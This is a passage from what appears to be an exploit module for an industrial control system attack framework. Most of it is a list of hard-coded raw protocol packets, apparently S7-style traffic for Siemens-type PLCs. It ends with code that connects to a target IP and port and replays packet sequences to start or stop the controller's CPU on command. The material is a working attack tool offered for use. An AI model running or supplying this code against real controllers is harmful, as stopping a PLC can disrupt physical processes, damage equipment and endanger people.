			"\x30\x00\x00\x00\x34\x04\x04\x91" +
			"\x3d\x9c\x68\x9c\x67\x81\x69\x00" +
			"\x00\x04\xe8\x89\x69\x00\x12\x00" +
			"\x00\x00\x00\x89\x6a\x00\x13\x00" +
			"\x89\x6b\x00\x04\x00\x00\x00\x00" +
			"\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x40\x02\xf0\x80\x72" +
			"\x01\x00\x31\x31\x00\x00\x04\xfc" +
			"\x00\x00\x00\x1c\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x22\x01\x93\x11" +
			"\x00\x00\x04\xe8\x89\x69\x00\x12" +
			"\x00\x00\x00\x00\x89\x6a\x00\x13" +
			"\x00\x89\x6b\x00\x04\x00\x00\x00" +
			"\x00\x00\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x40\x02\xf0\x80\x72" +
			"\x01\x00\x31\x31\x00\x00\x04\xfc" +
			"\x00\x00\x00\x1d\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x32\x01\x9a\x7b" +
			"\x00\x00\x04\xe8\x89\x69\x00\x12" +
			"\x00\x00\x00\x00\x89\x6a\x00\x13" +
			"\x00\x89\x6b\x00\x04\x00\x00\x00" +
			"\x00\x00\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\xfe\x02\xf0\x80\x72" +
			"\x01\x00\xef\x31\x00\x00\x04\xca" +
			"\x00\x00\x00\x1e\x00\x00\x03\x84" +
			"\x30\x00\x00\x03\x85\x00\x04\x00" +
			"\x00\x00\x00\x00\xa1\x5d\x00\x00" +
			"\x03\x87\x69\x00\x00\xa3\x81\x69" +
			"\x00\x15\x17\x53\x75\x62\x73\x63" +
			"\x72\x69\x70\x74\x69\x6f\x6e\x5f" +
			"\x31\x35\x36\x30\x32\x38\x31\x30" +
			"\x39\x31\xa3\x87\x6a\x00\x03\x00" +
			"\x00\xa3\x87\x6b\x00\x09\x00\xa3" +
			"\x88\x10\x00\x02\x01\xa3\x88\x11" +
			"\x00\x01\x01\xa1\x5d\x00\x00\x05" +
			"\x87\x72\x00\x00\xa3\x81\x69\x00" +
			"\x15\x13\x41\x74\x74\x72\x69\x62" +
			"\x75\x74\x52\x65\x66\x65\x72\x65" +
			"\x6e\x63\x65\x5f\x31\xa3\x87\x6d" +
			"\x00\x02\x05\xa3\x87\x6f\x00\x12" +
			"\x00\x00\x00\x03\xa3\x87\x70\x00" +
			"\x12\x00\x00\x00\x01\xa3\x87\x73" +
			"\x20\x04\x01\x93\x2f\xa3\x88\x05" +
			"\x00\x04\x00\xa2\xa1\x5d\x00\x00" +
			"\x06\x87\x72\x00\x00\xa3\x81\x69" +
			"\x00\x15\x13\x41\x74\x74\x72\x69" +
			"\x62\x75\x74\x52\x65\x66\x65\x72" +
			"\x65\x6e\x63\x65\x5f\x32\xa3\x87" +
			"\x6d\x00\x02\x02\xa3\x87\x6f\x00" +
			"\x12\x00\x00\x00\x03\xa3\x87\x70" +
			"\x00\x12\x00\x00\x00\x01\xa3\x87" +
			"\x73\x20\x04\x01\x9c\x33\xa3\x88" +
			"\x05\x00\x04\x00\xa2\xa2\x00\x00" +
			"\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x2b\x02\xf0\x80\x72" +
			"\x01\x00\x1c\x31\x00\x00\x04\xbb" +
			"\x00\x00\x00\x1f\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x03\x00\x01\x01" +
			"\x01\x00\x00\x00\x00\x00\x00\x72" +
			"\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x43\x02\xf0\x80\x72" +
			"\x01\x00\x34\x31\x00\x00\x04\xf2" +
			"\x00\x00\x00\x20\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x34\x01\x90\x77" +
			"\x00\x08\x03\x00\x00\x04\xe8\x89" +
			"\x69\x00\x12\x00\x00\x00\x00\x89" +
			"\x6a\x00\x13\x00\x89\x6b\x00\x04" +
			"\x00\x00\x00\x00\x00\x00\x00\x72" +
			"\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x46\x02\xf0\x80\x72" +
			"\x01\x00\x37\x31\x00\x00\x05\x4c" +
			"\x00\x00\x00\x21\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x34\x04\x04\x91" +
			"\x3d\x9c\x68\x9c\x67\x81\x69\x00" +
			"\x00\x04\xe8\x89\x69\x00\x12\x00" +
			"\x00\x00\x00\x89\x6a\x00\x13\x00" +
			"\x89\x6b\x00\x04\x00\x00\x00\x00" +
			"\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x46\x02\xf0\x80\x72" +
			"\x01\x00\x37\x31\x00\x00\x05\x4c" +
			"\x00\x00\x00\x22\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x34\x04\x04\x91" +
			"\x3d\x9c\x68\x9c\x67\x81\x69\x00" +
			"\x00\x04\xe8\x89\x69\x00\x12\x00" +
			"\x00\x00\x00\x89\x6a\x00\x13\x00" +
			"\x89\x6b\x00\x04\x00\x00\x00\x00" +
			"\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x46\x02\xf0\x80\x72" +
			"\x01\x00\x37\x31\x00\x00\x05\x4c" +
			"\x00\x00\x00\x23\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x34\x04\x04\x91" +
			"\x3d\x9c\x68\x9c\x67\x81\x69\x00" +
			"\x00\x04\xe8\x89\x69\x00\x12\x00" +
			"\x00\x00\x00\x89\x6a\x00\x13\x00" +
			"\x89\x6b\x00\x04\x00\x00\x00\x00" +
			"\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00"]

        cmd = self.getParam("Command")
        sock = CreateTcpSocket(self.TargetIp, port=int(self.TargetPort))
        if cmd == "start":
            for op in start_cpu_pkt:
                sock.send(op)
                time.sleep(0.005)
        elif cmd == "stop":
            for op in stop_cpu_pkt:
                sock.send(op)
                time.sleep(0.005)
        else:
            raise

MainEntry(MyScript, __name__)
